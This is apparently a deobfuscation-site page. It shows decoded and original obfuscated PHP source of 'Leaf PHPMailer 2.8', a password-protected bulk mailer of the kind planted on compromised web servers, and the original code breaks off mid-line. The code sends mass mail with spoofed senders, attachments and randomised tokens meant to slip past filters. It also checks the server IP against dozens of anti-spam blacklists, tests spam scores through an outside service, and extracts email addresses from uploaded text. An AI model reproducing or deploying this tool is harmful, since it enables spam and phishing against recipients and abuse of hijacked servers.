=> "video/mpeg", "mpg" => "video/mpeg", "mov" => "video/quicktime", "qt" => "video/quicktime", "rv" => "video/vnd.rn-realvideo", "avi" => "video/x-msvideo", "movie" => "video/x-sgi-movie"); if (array_key_exists(strtolower($ext), $mimes)) { return $mimes[strtolower($ext)]; } return "application/octet-stream"; } public static function filenameToType($filename) { $qpos = strpos($filename, "?"); if (false !== $qpos) { $filename = substr($filename, 0, $qpos); } $pathinfo = self::mb_pathinfo($filename); return self::_mime_types($pathinfo["extension"]); } public static function mb_pathinfo($path, $options = null) { $ret = array("dirname" => '', "basename" => '', "extension" => '', "filename" => ''); $pathinfo = array(); if (preg_match("%^(.*?)[\\/]*(([^/\\]*?)(\.([^\.\\/]+?)|))[\\/\.]*$%im", $path, $pathinfo)) { if (array_key_exists(1, $pathinfo)) { $ret["dirname"] = $pathinfo[1]; } if (array_key_exists(2, $pathinfo)) { $ret["basename"] = $pathinfo[2]; } if (array_key_exists(5, $pathinfo)) { $ret["extension"] = $pathinfo[5]; } if (array_key_exists(3, $pathinfo)) { $ret["filename"] = $pathinfo[3]; } } switch ($options) { case PATHINFO_DIRNAME: case "dirname": return $ret["dirname"]; case PATHINFO_BASENAME: case "basename": return $ret["basename"]; case PATHINFO_EXTENSION: case "extension": return $ret["extension"]; case PATHINFO_FILENAME: case "filename": return $ret["filename"]; default: return $ret; } } public function set($name, $value = '') { if (property_exists($this, $name)) { $this->{$name} = $value; return true; } else { $this->setError($this->lang("variable_set") . $name); return false; } } public function secureHeader($str) { return trim(str_replace(array("
", "
"), '', $str)); } public static function normalizeBreaks($text, $breaktype = "
") { return preg_replace("/(\r\n|\r|\n)/ms", $breaktype, $text); } public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '') { $this->sign_cert_file = $cert_filename; $this->sign_key_file = $key_filename; $this->sign_key_pass = $key_pass; $this->sign_extracerts_file = $extracerts_filename; } public function DKIM_QP($txt) { $line = ''; for ($i = 0; $i < strlen($txt); $i++) { $ord = ord($txt[$i]); if (33 <= $ord && $ord <= 58 || $ord == 60 || 62 <= $ord && $ord <= 126) { $line .= $txt[$i]; } else { $line .= "=" . sprintf("%02X", $ord); } } return $line; } public function DKIM_Sign($signHeader) { if (!defined("PKCS7_TEXT")) { if ($this->exceptions) { throw new phpmailerException($this->lang("extension_missing") . "openssl"); } return ''; } $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private); if ('' != $this->DKIM_passphrase) { $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase); } else { $privKey = openssl_pkey_get_private($privKeyStr); } if (version_compare(PHP_VERSION, "5.3.0") >= 0 and in_array("sha256WithRSAEncryption", openssl_get_md_methods(true))) { if (openssl_sign($signHeader, $signature, $privKey, "sha256WithRSAEncryption")) { openssl_pkey_free($privKey); return base64_encode($signature); } } else { $pinfo = openssl_pkey_get_details($privKey); $hash = hash("sha256", $signHeader); $t = "3031300d060960864801650304020105000420" . $hash; $pslen = $pinfo["bits"] / 8 - (strlen($t) / 2 + 3); $eb = pack("H*", "0001" . str_repeat("FF", $pslen) . "00" . $t); if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) { openssl_pkey_free($privKey); return base64_encode($signature); } } openssl_pkey_free($privKey); return ''; } public function DKIM_HeaderC($signHeader) { $signHeader = preg_replace("/\r\n\s+/", " ", $signHeader); $lines = explode("\xd\xa", $signHeader); foreach ($lines as $key => $line) { list($heading, $value) = explode(":", $line, 2); $heading = strtolower($heading); $value = preg_replace("/\s{2,}/", " ", $value); $lines[$key] = $heading . ":" . trim($value); } $signHeader = implode("\xd\xa", $lines); return $signHeader; } public function DKIM_BodyC($body) { if ($body == '') { return "
"; } $body = str_replace("\xd\xa", "\xa", $body); $body = str_replace("\xa", "
", $body); while (substr($body, strlen($body) - 4, 4) == "

") { $body = substr($body, 0, strlen($body) - 2); } return $body; } public function DKIM_Add($headers_line, $subject, $body) { $DKIMsignatureType = "rsa-sha256"; $DKIMcanonicalization = "relaxed/simple"; $DKIMquery = "dns/txt"; $DKIMtime = time(); $subject_header = "Subject: {$subject}"; $headers = explode($this->LE, $headers_line); $from_header = ''; $to_header = ''; $date_header = ''; $current = ''; foreach ($headers as $header) { if (strpos($header, "From:") === 0) { $from_header = $header; $current = "from_header"; } elseif (strpos($header, "To:") === 0) { $to_header = $header; $current = "to_header"; } elseif (strpos($header, "Date:") === 0) { $date_header = $header; $current = "date_header"; } else { if (!empty(${$current}) && strpos($header, " =?") === 0) { ${$current} .= $header; } else { $current = ''; } } } $from = str_replace("|", "=7C", $this->DKIM_QP($from_header)); $to = str_replace("|", "=7C", $this->DKIM_QP($to_header)); $date = str_replace("|", "=7C", $this->DKIM_QP($date_header)); $subject = str_replace("|", "=7C", $this->DKIM_QP($subject_header)); $body = $this->DKIM_BodyC($body); $DKIMlen = strlen($body); $DKIMb64 = base64_encode(pack("H*", hash("sha256", $body))); if ('' == $this->DKIM_identity) { $ident = ''; } else { $ident = " i=" . $this->DKIM_identity . ";"; } $dkimhdrs = "DKIM-Signature: v=1; a=" . $DKIMsignatureType . "; q=" . $DKIMquery . "; l=" . $DKIMlen . "; s=" . $this->DKIM_selector . ";
\xa" . "	t=" . $DKIMtime . "; c=" . $DKIMcanonicalization . ";\xd\xa" . "	h=From:To:Date:Subject;\xd
" . "\x9d=" . $this->DKIM_domain . ";" . $ident . "\xd
" . "	z={$from}\xd
" . "\x9|{$to}
" . "	|{$date}
\xa" . "\x9|{$subject};
\xa" . "\x9bh=" . $DKIMb64 . ";
\xa" . "	b="; $toSign = $this->DKIM_HeaderC($from_header . "\xd
" . $to_header . "\xd
" . $date_header . "
\xa" . $subject_header . "\xd\xa" . $dkimhdrs); $signed = $this->DKIM_Sign($toSign); return $dkimhdrs . $signed . "
"; } public static function hasLineLongerThanMax($str) { return (bool) preg_match("/^(.{" . (self::MAX_LINE_LENGTH + 2) . ",})/m", $str); } public function getToAddresses() { return $this->to; } public function getCcAddresses() { return $this->cc; } public function getBccAddresses() { return $this->bcc; } public function getReplyToAddresses() { return $this->ReplyTo; } public function getAllRecipientAddresses() { return $this->all_recipients; } protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from) { if (!empty($this->action_function) && is_callable($this->action_function)) { $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from); call_user_func_array($this->action_function, $params); } } } goto I1ioS; o2jZc: print "<div class="container col-lg-6">
        <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>" . $leaf["version"] . "</small></h3>\xa        <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">\xa                    <input type="hidden" name="action" value="score">\xa\xa            <div class="row">
                <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control  input-sm " id="senderEmail" name="senderEmail" value="" . $senderEmail . ""></div>\xa                <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control  input-sm " id="senderName" name="senderName" value="" . $senderName . ""></div>
            </div>\xa            <div class="row">
                <span class="form-group col-lg-6  "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>\xa
                <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control  input-sm " id="replyTo" name="replyTo" value="" . $replyTo . "" /></div>
            </div>
            <div class="row">\xa                <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control  input-sm " id="subject" name="subject" value="" . $subject . "" /></div>\xa            </div>
            <div class="row">\xa                <div class="form-group col-lg-6"><label for="messageLetter">Message Letter <button type="submit" class="btn btn-default btn-xs" form="form" name="action" value="view" formtarget="_blank">Preview </button></label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">" . $messageLetter . "</textarea></div>\xa                <div class="form-group col-lg-6 "><label for="emailList">Email List <a href="?emailfilter=on" target="_blank" class="btn btn-default btn-xs">Filter/Extract</a></label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">" . $emailList . "</textarea></div>
            </div>\xa            <div class="row">\xa                <div class="form-group col-lg-6 ">
                    <label for="messageType">Message Type</label>\xa                    HTML <input type="radio" name="messageType" id="messageType" value="1" " . $html . ">\xa                    Plain<input type="radio" name="messageType" id="messageType" value="2" " . $plain . ">
                </div>\xa                <div class="form-group col-lg-3 ">\xa                    <label for="charset">Character set</label>\xa                    <select class="form-control input-sm" id="charset" name="charset">\xa                        <option " . $utf8 . ">UTF-8</option>\xa                        <option " . $iso . ">ISO-8859-1</option>\xa                    </select>\xa                </div>\xa                <div class="form-group col-lg-3 ">
                    <label for="encoding">Message encoding</label>
                    <select class="form-control input-sm" id="encode" name="encode">\xa                        <option " . $bit8 . ">8bit</option>
                        <option " . $bit7 . ">7bit</option>
                        <option " . $binary . ">binary</option>\xa                        <option " . $base64 . ">base64</option>\xa                        <option " . $quotedprintable . ">quoted-printable</option>\xa\xa                    </select>
                </div>
            </div>\xa            <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button> or <a href="#" onclick="document.getElementById('form').submit(); return false;">check SpamAssassin Score</a>
   
        </form>\xa    </div>\xa    <div class="col-lg-6"><br>\xa        <label for="well">Instruction</label>\xa        <div id="well" class="well well">\xa            <h4>Server Information</h4>
            <ul>\xa                <li>Server IP Address : <b>" . $_SERVER["SERVER_ADDR"] . " </b> <a href="?check_ip=" . $_SERVER["SERVER_ADDR"] . "" target="_blank" class="label label-primary">Check Blacklist <i class="glyphicon glyphicon-search"></i></a></li>\xa                <li>PHP Version : <b>" . phpversion() . "</b></li>\xa                

            </ul>
            <h4>HELP</h4>\xa            <ul>\xa                <li>[-email-] : <b>Reciver Email</b> ([email protected])</li>
                <ul>
                    <li>[-emailuser-] : <b>Email User</b> (emailuser) </li>\xa                    <li>[-emaildomain-] : <b>Email User</b> (emaildomain.com) </li>
                </ul>
                <li>[-time-] : <b>Date and Time</b> (" . date("m/d/Y h:i:s a", time()) . ")</li>
                \xa                <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>\xa                <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
                <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
                <li>[-randommd5-] : <b>Random MD5 </b></li>
            </ul>
            <h4>example</h4>\xa            Receiver Email = <b>[email protected]</b><br>
            <ul>
                <li>hello <b>[-emailuser-]</b> = hello <b>user</b></li>
                <li>your domain is <b>[-emaildomain-]</b> = Your Domain is <b>domain.com</b></li>
                <li>your code is  <b>[-randommd5-]</b> = your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>\xa            </ul>\xa
            <h6>by <b><a href="http://" . $leaf["website"] . "">" . $leaf["website"] . "</a></b></h6>\xa        </div>
    </div>"; goto RXqN4; sXd5V: if (!isset($_POST["senderEmail"])) { $senderEmail = "support@" . str_replace("www.", '', $_SERVER["HTTP_HOST"]); if (!leafMailCheck($senderEmail)) { $senderEmail = ''; } } goto Jz2jE; Hpt7g: if ($_POST["action"] == "view") { $viewMessage = leafTrim($_POST["messageLetter"]); $viewMessage = leafClear($viewMessage, "[email protected]"); if ($_POST["messageType"] == 2) { print "<pre>" . htmlspecialchars($viewMessage) . "</pre>"; } else { print $viewMessage; } die; } goto sXd5V; yRr3M: $utf8 = "selected"; goto iopTY; gE1NX: $leaf["version"] = "2.8"; goto TDzYw; TDzYw: $leaf["website"] = "leafmailer.pw"; goto m7fqs; iopTY: $bit8 = "selected"; goto u8wmJ; G2FjA: $html = "checked"; goto yRr3M; L0IwS: if (!empty($password) and $_SESSION[$sessioncode] != $password) { if (isset($_REQUEST["pass"]) and $_REQUEST["pass"] == $password) { $_SESSION[$sessioncode] = $password; } else { print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>"; die; } } goto Xbvpm; of9yo: function leafClear($text, $email) { $e = explode("@", $email); $emailuser = $e[0]; $emaildomain = $e[1]; $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text); $text = str_replace("[-email-]", $email, $text); $text = str_replace("[-emailuser-]", $emailuser, $text); $text = str_replace("[-emaildomain-]", $emaildomain, $text); $text = str_replace("[-randomletters-]", randString("abcdefghijklmnopqrstuvwxyz"), $text); $text = str_replace("[-randomstring-]", randString("abcdefghijklmnopqrstuvwxyz0123456789"), $text); $text = str_replace("[-randomnumber-]", randString("0123456789"), $text); $text = str_replace("[-randommd5-]", md5(randString("abcdefghijklmnopqrstuvwxyz0123456789")), $text); return $text; } goto kvPI_; m7fqs: $sessioncode = md5(__FILE__); goto L0IwS; AhWO_: ini_set("memory_limit", -1); goto gE1NX; COxua: if (isset($_GET["check_ip"])) { if (isset($_GET["host"])) { $_GET["host"] = explode(",", $_GET["host"]); foreach ($_GET["host"] as $host) { if (checkdnsrr($_GET["check_ip"] . "." . $host . ".", "A")) { $check = "<font color='red'> Listed</font>"; } else { $check = "<font color='green'> Clean</font>"; } print "document.getElementById("" . $host . "").innerHTML = "" . $check . "";"; } die; } $dnsbl_lookup = array("all.s5h.net", "b.barracudacentral.org", "bl.spamcop.net", "blacklist.woody.ch", "bogons.cymru.com", "cbl.abuseat.org", "cdl.anti-spam.org.cn", "combined.abuse.ch", "db.wpbl.info", "dnsbl-1.uceprotect.net", "dnsbl-2.uceprotect.net", "dnsbl-3.uceprotect.net", "dnsbl.anticaptcha.net", "dnsbl.dronebl.org", "dnsbl.inps.de", "dnsbl.sorbs.net", "drone.abuse.ch", "duinv.aupads.org", "dul.dnsbl.sorbs.net", "dyna.spamrats.com", "dynip.rothen.com", "http.dnsbl.sorbs.net", "ips.backscatterer.org", "ix.dnsbl.manitu.net", "korea.services.net", "misc.dnsbl.sorbs.net", "noptr.spamrats.com", "orvedb.aupads.org", "pbl.spamhaus.org", "proxy.bl.gweep.ca", "psbl.surriel.com", "relays.bl.gweep.ca", "relays.nether.net", "sbl.spamhaus.org", "short.rbl.jp", "singular.ttk.pte.hu", "smtp.dnsbl.sorbs.net", "socks.dnsbl.sorbs.net", "spam.abuse.ch", "spam.dnsbl.anonmails.de", "spam.dnsbl.sorbs.net", "spam.spamrats.com", "spambot.bls.digibase.ca", "spamrbl.imp.ch", "spamsources.fabel.dk", "ubl.lashback.com", "ubl.unsubscore.com", "virus.rbl.jp", "web.dnsbl.sorbs.net", "wormrbl.imp.ch", "xbl.spamhaus.org", "z.mailspike.net", "zen.spamhaus.org", "zombie.dnsbl.sorbs.net"); $reverse_ip = implode(".", array_reverse(explode(".", $_GET["check_ip"]))); $dnsT = count($dnsbl_lookup); leafheader(); print "<div class="container col-lg-6"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Blacklist Checker</small></h3>"; print "Checking <b>" . $_GET["check_ip"] . "</b> in <b>{$dnsT}</b>  anti-spam databases:<br>"; $dnsN = ''; print "<table >"; for ($i = 0; $i < $dnsT; $i = $i + 10) { $host = ''; $hosts = ''; for ($j = $i; $j < $i + 10; $j++) { $host = $dnsbl_lookup[$j]; if (!empty($host)) { print "<tr> <td>{$host}</td> <td id='{$host}'>Checking ..</td></tr>"; $hosts .= "{$host},"; } } $dnsN .= "<script src='?check_ip={$reverse_ip}&host=" . $hosts . "' type='text/javascript'></script>"; } print "</table></div>"; print $dnsN; die; } goto GKpVb; QY4QV: ?>

Did this file decode correctly?

Original Code


<?php
 goto hwUwJ; hwUwJ: $password = "\106\x69\154\145\132\x65\x72\60"; goto tPt26; RXqN4: if ($_POST["\x61\x63\164\x69\157\156"] == "\163\x65\156\144") { print "\40\40\x20\40\74\144\x69\x76\40\x63\154\141\x73\163\75\x22\143\x6f\154\x2d\154\147\x2d\x31\x32\42\x3e"; $maillist = explode("\xd\xa", $emailList); $n = count($maillist); $x = 1; foreach ($maillist as $email) { print "\74\144\151\x76\x20\x63\154\141\163\163\x3d\42\x63\x6f\x6c\55\x6c\x67\x2d\61\x22\76\133" . $x . "\x2f" . $n . "\x5d\74\x2f\144\x69\166\x3e\x3c\x64\x69\166\40\x63\154\x61\x73\163\x3d\x22\143\x6f\154\55\154\147\x2d\64\x22\x3e" . $email . "\x3c\x2f\144\x69\166\x3e"; if (!leafMailCheck($email)) { print "\74\x64\151\x76\40\x63\x6c\141\163\163\x3d\42\x63\157\154\x2d\154\x67\55\x36\x22\76\x3c\x73\x70\x61\x6e\40\x63\x6c\x61\163\x73\75\x22\154\x61\x62\145\154\40\154\141\x62\x65\154\x2d\x64\145\146\x61\165\154\164\x22\x3e\111\x6e\x63\x6f\162\162\x65\143\x74\40\x45\155\x61\x69\x6c\x3c\57\x73\160\x61\x6e\x3e\74\x2f\x64\151\x76\76"; print "\x3c\x62\162\76\15\12"; } else { $mail = new PHPMailer(); $mail->setFrom(leafClear($senderEmail, $email), leafClear($senderName, $email)); $mail->addReplyTo(leafClear($replyTo, $email)); $mail->addAddress($email); $mail->Subject = leafClear($subject, $email); $mail->Body = leafClear($messageLetter, $email); if ($messageType == 1) { $mail->IsHTML(true); $mail->AltBody = strip_tags(leafClear($messageLetter, $email)); } else { $mail->IsHTML(false); } $mail->CharSet = $charset; $mail->Encoding = $encoding; for ($i = 0; $i < count($_FILES["\x61\x74\x74\x61\x63\150\155\145\156\x74"]["\156\141\155\145"]); $i++) { if ($_FILES["\141\164\x74\141\x63\150\x6d\x65\x6e\x74"]["\164\155\160\x5f\x6e\x61\x6d\x65"][$i] != '') { $mail->AddAttachment($_FILES["\141\164\x74\x61\143\x68\155\x65\156\x74"]["\x74\155\160\137\x6e\x61\x6d\x65"][$i], $_FILES["\x61\164\164\x61\143\x68\155\x65\156\x74"]["\x6e\141\155\x65"][$i]); } } if (!$mail->send()) { echo "\74\x64\151\166\40\143\154\141\163\x73\75\42\x63\157\x6c\55\154\147\x2d\66\x22\x3e\74\163\x70\141\x6e\40\x63\x6c\141\163\x73\75\x22\x6c\x61\x62\145\154\40\154\141\142\145\x6c\x2d\144\145\146\x61\165\154\164\x22\x3e" . htmlspecialchars($mail->ErrorInfo) . "\74\x2f\163\160\141\156\x3e\x3c\x2f\144\x69\166\x3e"; } else { echo "\x3c\x64\151\166\x20\x63\x6c\141\x73\x73\x3d\42\x63\157\x6c\x2d\154\147\x2d\66\42\x3e\x3c\x73\x70\141\x6e\x20\x63\x6c\141\163\163\75\42\x6c\141\x62\x65\x6c\x20\154\x61\x62\145\x6c\x2d\x73\x75\143\x63\145\163\163\x22\x3e\x4f\153\74\57\x73\160\141\x6e\x3e\74\x2f\x64\151\x76\x3e"; } print "\x3c\x62\162\x3e\xd\12"; } $x++; for ($k = 0; $k < 40000; $k++) { echo "\40"; } } } elseif ($_POST["\141\143\x74\x69\157\x6e"] == "\x73\143\x6f\162\x65") { $mail = new PHPMailer(); $mail->setFrom(leafClear($senderEmail, $email), leafClear($senderName, $email)); $mail->addReplyTo(leafClear($replyTo, $email)); $mail->addAddress("\x75\163\145\162\156\x61\x6d\145\x40\x64\x6f\155\x61\151\156\56\143\x6f\155"); $mail->Subject = leafClear($subject, $email); $mail->Body = leafClear($messageLetter, $email); if ($messageType == 1) { $mail->IsHTML(true); $mail->AltBody = strip_tags(leafClear($messageLetter, $email)); } else { $mail->IsHTML(false); } $mail->CharSet = $charset; $mail->Encoding = $encoding; $mail->preSend(); $messageHeaders = $mail->getSentMIMEMessage(); $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, "\150\x74\164\x70\x3a\57\x2f\x73\x70\x61\155\143\x68\145\143\x6b\x2e\x70\x6f\163\x74\x6d\141\162\x6b\141\x70\x70\56\143\157\155\x2f\x66\x69\154\x74\x65\x72"); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array("\145\x6d\141\x69\154" => $messageHeaders, "\157\160\164\x69\157\156\x73" => "\154\157\x6e\147"))); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 15); $response = curl_exec($ch); $response = json_decode($response); print "\40\x20\x20\40\x3c\x64\151\x76\x20\x63\154\x61\x73\163\75\42\x63\x6f\154\x2d\x6c\147\55\x31\62\x22\x3e"; if ($response->success == TRUE) { $score = $response->score; if ($score > 5) { $class = "\x64\x61\x6e\x67\x65\x72"; } else { $class = "\x73\165\x63\x63\145\x73\163"; } print "\x3c\x64\151\166\40\x63\154\141\x73\163\75\42\164\145\170\x74\x2d" . $class . "\42\76\131\x6f\165\x72\40\123\x70\x61\155\x41\163\163\x61\x73\x73\x69\156\x20\x73\x63\x6f\162\x65\x20\151\x73\40" . $score . "\x20\x20\74\57\144\151\166\x3e\12\74\x64\x69\x76\76\106\x75\154\154\x20\122\145\160\157\162\x74\x20\72\40\x3c\160\x72\145\76" . $response->report . "\x3c\57\x70\x72\145\x3e\74\x2f\x64\151\166\76"; print "\40\40\40\x20\x3c\57\144\x69\x76\76"; } } goto xRaFM; ae_CX: function randString($consonants) { $length = rand(12, 25); $password = ''; for ($i = 0; $i < $length; $i++) { $password .= $consonants[rand() % strlen($consonants)]; } return $password; } goto BicnH; J5VWq: leafheader(); goto WhYtG; DZKA_: error_reporting(0); goto y0BQl; GKpVb: if (isset($_GET["\145\155\141\x69\x6c\x66\x69\154\164\x65\162"])) { if (!empty($_FILES["\x66\x69\154\x65\124\x6f\125\x70\154\157\141\144"]["\164\155\x70\137\x6e\x61\155\145"])) { $_POST["\145\x6d\141\x69\154\114\x69\x73\164"] = file_get_contents($_FILES["\x66\151\x6c\145\x54\157\x55\160\x6c\157\141\x64"]["\x74\155\160\x5f\156\x61\x6d\145"]); } $_POST["\x65\155\x61\x69\154\114\151\163\164"] = strtolower($_POST["\x65\155\141\x69\x6c\114\151\x73\164"]); if ($_GET["\145\155\x61\x69\154\x66\151\x6c\164\145\x72"] == "\x69\146\162\141\155") { if ($_POST["\162\145\163\165\x6c\164\x74\x79\160\x65"] == "\x64\157\x77\x6e\x6c\157\141\x64") { header("\x43\x6f\156\164\145\x6e\x74\55\104\145\x73\143\162\151\x70\x74\151\x6f\x6e\x3a\x20\106\x69\x6c\145\40\x54\x72\x61\156\163\146\x65\162"); header("\103\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79\x70\145\x3a\40\x61\x70\x70\x6c\151\x63\141\164\x69\x6f\156\x2f\157\x63\164\x65\x74\x2d\163\164\x72\x65\141\x6d"); header("\x43\157\x6e\x74\x65\x6e\164\x2d\x44\x69\x73\160\x6f\163\151\x74\151\x6f\x6e\x3a\x20\141\164\164\x61\143\150\x6d\x65\x6e\164\73\x20\146\x69\154\x65\x6e\141\x6d\x65\75\x65\x6d\141\151\154\163" . time() . "\56\164\x78\164"); } else { header("\x43\157\156\164\x65\x6e\x74\55\124\171\x70\145\x3a\40\x74\145\170\164\57\x70\x6c\x61\151\x6e"); } if ($_POST["\x73\x75\x62\x6d\x69\164"] == "\145\170\x74\x72\x61\x63\164") { $pattern = "\57\133\101\55\x5a\x61\55\172\60\x2d\x39\x2e\137\45\x2b\55\x5d\53\x40\133\101\55\x5a\141\55\x7a\x30\x2d\71\56\55\135\x2b\x5c\56\x5b\x41\x2d\x5a\x61\x2d\172\135\173\62\54\x34\175\57"; preg_match_all($pattern, $_POST["\145\x6d\141\151\x6c\x4c\x69\163\164"], $matches); foreach ($matches[0] as $email) { print $email . "\xa"; } } elseif ($_POST["\x73\x75\x62\x6d\x69\164"] == "\146\x69\154\164\x65\162") { $emails = explode("\12", $_POST["\x65\155\x61\151\x6c\114\x69\163\164"]); $keywords = explode("\xa", strtolower($_POST["\153\145\x79\x77\x6f\162\x64\163"])); foreach ($emails as $email) { foreach ($keywords as $keyword) { if (strstr($email, $keyword)) { print $email . "\12"; break; } } } } die; } leafheader(); print "\74\x64\x69\166\40\143\154\x61\x73\163\75\42\143\157\156\x74\x61\151\156\x65\162\40\x63\157\154\x2d\x6c\147\55\x34\42\76\74\150\63\x3e\74\x66\157\156\x74\40\143\x6f\x6c\157\x72\x3d\42\147\x72\145\x65\x6e\x22\x3e\x3c\x73\160\x61\x6e\x20\x63\154\x61\163\163\x3d\42\147\154\171\160\x68\151\x63\x6f\156\x20\147\x6c\171\x70\150\x69\143\x6f\156\55\154\145\141\146\42\76\74\x2f\x73\160\141\156\76\74\57\146\x6f\x6e\x74\x3e\40\114\145\141\146\x20\120\110\x50\115\141\x69\x6c\145\x72\40\x3c\x73\x6d\141\154\154\x3e\x45\x6d\141\x69\154\40\x46\x69\154\164\x65\162\74\x2f\163\x6d\x61\154\154\x3e\x3c\57\150\63\76"; print "\xa\40\x20\40\40\74\x66\157\x72\155\x20\141\143\x74\x69\x6f\x6e\75\42\77\x65\x6d\x61\x69\x6c\146\151\x6c\164\x65\x72\x3d\151\x66\x72\x61\155\x22\x20\155\x65\x74\150\157\144\75\42\x50\117\x53\x54\x22\x20\x74\141\x72\x67\145\x74\75\42\155\171\55\x69\x66\162\x61\x6d\145\42\x20\x65\x6e\143\x74\171\x70\x65\75\x22\x6d\x75\x6c\x74\151\160\141\162\x74\x2f\x66\x6f\162\155\55\144\x61\164\141\42\40\157\156\163\x75\x62\x6d\x69\164\75\x27\47\x3e\12\x20\40\40\x20\x20\x20\x20\x20\74\154\x61\x62\145\x6c\40\146\157\162\75\42\x65\155\x61\151\x6c\114\151\163\x74\42\x3e\x54\x65\170\x74\40\74\x2f\x6c\141\x62\145\154\76\74\151\x6e\160\165\164\40\x74\171\x70\145\75\42\146\151\x6c\x65\42\40\156\x61\x6d\145\75\42\146\x69\154\145\124\157\125\160\154\x6f\141\x64\42\x20\x69\144\75\42\x66\151\x6c\145\x54\157\x55\x70\x6c\157\x61\144\42\76\40\xa\40\40\x20\x20\x20\40\x20\x20\x6f\162\12\12\40\40\x20\40\40\40\x20\x20\74\x74\145\x78\x74\141\x72\145\x61\x20\156\141\155\145\75\42\x65\x6d\141\151\154\x4c\x69\163\x74\x22\x20\151\x64\75\42\x65\155\141\x69\x6c\x4c\x69\x73\164\42\40\x63\x6c\141\x73\x73\75\42\x66\157\x72\155\55\x63\157\x6e\164\162\x6f\x6c\42\x20\x72\x6f\x77\x73\x3d\x22\67\42\40\x69\144\x3d\42\164\x65\170\164\101\x72\x65\x61\42\76\74\x2f\164\145\x78\164\x61\162\145\141\x3e\12\x20\40\x20\x20\40\40\x3c\144\151\x76\x20\x63\154\141\163\x73\75\x22\143\157\x6c\55\154\x67\x2d\x31\x32\42\x3e\xa\40\x20\40\x20\40\x20\x20\40\74\144\x69\166\40\x63\x6c\141\x73\x73\x3d\42\162\141\144\x69\157\x22\76\12\40\40\40\40\40\40\40\x20\40\40\x3c\x6c\141\142\x65\154\x3e\xa\40\40\x20\40\40\x20\x20\40\40\40\40\40\x3c\x69\x6e\x70\x75\164\x20\164\x79\x70\145\x3d\42\x72\141\144\x69\157\42\x20\x6e\x61\x6d\145\75\42\x72\145\163\x75\154\164\164\x79\x70\145\42\x20\x69\x64\x3d\42\x72\145\163\x75\154\164\164\171\160\x65\42\40\166\x61\x6c\165\145\x3d\x22\x68\145\162\145\x22\40\x63\x68\145\x63\x6b\x65\x64\75\42\x22\76\xa\40\x20\40\x20\x20\40\x20\x20\40\40\x20\40\123\150\157\167\x20\122\x65\x73\165\x6c\x74\x20\x69\x6e\x20\x74\150\151\163\40\x70\141\x67\145\xa\x20\40\40\40\40\x20\x20\40\40\x20\x3c\57\154\141\x62\145\x6c\76\xa\40\40\x20\x20\40\x20\x20\40\x3c\57\144\x69\166\76\12\40\40\x20\40\40\40\40\40\x3c\144\151\166\x20\143\154\x61\x73\x73\75\42\162\x61\144\151\x6f\x22\76\xa\x20\x20\x20\40\40\40\40\40\40\40\74\x6c\x61\142\145\154\x3e\xa\x20\40\40\40\x20\40\x20\40\40\40\x20\40\74\151\x6e\160\165\x74\40\x74\171\x70\x65\x3d\42\162\x61\144\151\x6f\x22\40\156\141\155\x65\x3d\x22\162\x65\163\x75\x6c\164\164\x79\160\x65\42\x20\151\144\x3d\x22\x72\x65\163\165\x6c\164\164\x79\x70\145\x22\40\x76\x61\x6c\x75\x65\75\42\144\157\167\x6e\x6c\157\x61\144\x22\76\12\40\40\x20\x20\40\40\x20\40\40\40\40\40\x44\x6f\167\156\154\x6f\x61\x64\x20\122\145\163\x75\154\164\40\50\146\x6f\x72\40\142\151\147\40\x6e\x75\x6d\142\x65\x72\x73\51\12\x20\x20\x20\x20\x20\x20\40\x20\x20\40\74\57\154\x61\x62\x65\154\76\12\x20\x20\40\x20\x20\x20\x20\40\x3c\x2f\x64\x69\x76\76\12\40\40\x20\x20\x20\40\74\x2f\x64\x69\166\x3e\12\x20\40\40\x20\x20\x20\x20\x20\40\40\40\40\x3c\x6c\x65\147\x65\x6e\x64\x3e\74\150\64\x3e\105\x78\x74\x72\x61\143\164\40\x45\155\141\x69\154\x3c\x2f\150\64\x3e\74\57\x6c\x65\147\145\x6e\144\x3e\xa\x20\x20\x20\x20\x20\40\40\x20\x20\x20\x20\x20\104\145\x74\x65\143\164\151\156\147\x20\145\166\x65\162\x79\x20\x65\x6d\x61\151\154\x20\x28\x31\x30\x30\45\51\x20\x61\156\x64\40\157\x72\x64\145\162\40\164\150\x65\155\40\154\151\x6e\x65\x20\142\x79\40\154\x69\x6e\x65\x20\74\x62\162\76\x3c\142\162\x3e\xa\40\40\40\x20\x20\40\40\40\74\142\x75\x74\164\x6f\x6e\x20\164\x79\160\x65\75\42\x73\165\x62\x6d\x69\x74\42\x20\156\141\155\145\75\42\x73\x75\142\x6d\x69\x74\x22\x20\x76\x61\154\x75\145\75\x22\x65\x78\x74\162\x61\143\164\x22\x20\x63\154\x61\x73\163\75\42\142\x74\156\40\x62\164\x6e\55\x64\x65\146\141\x75\154\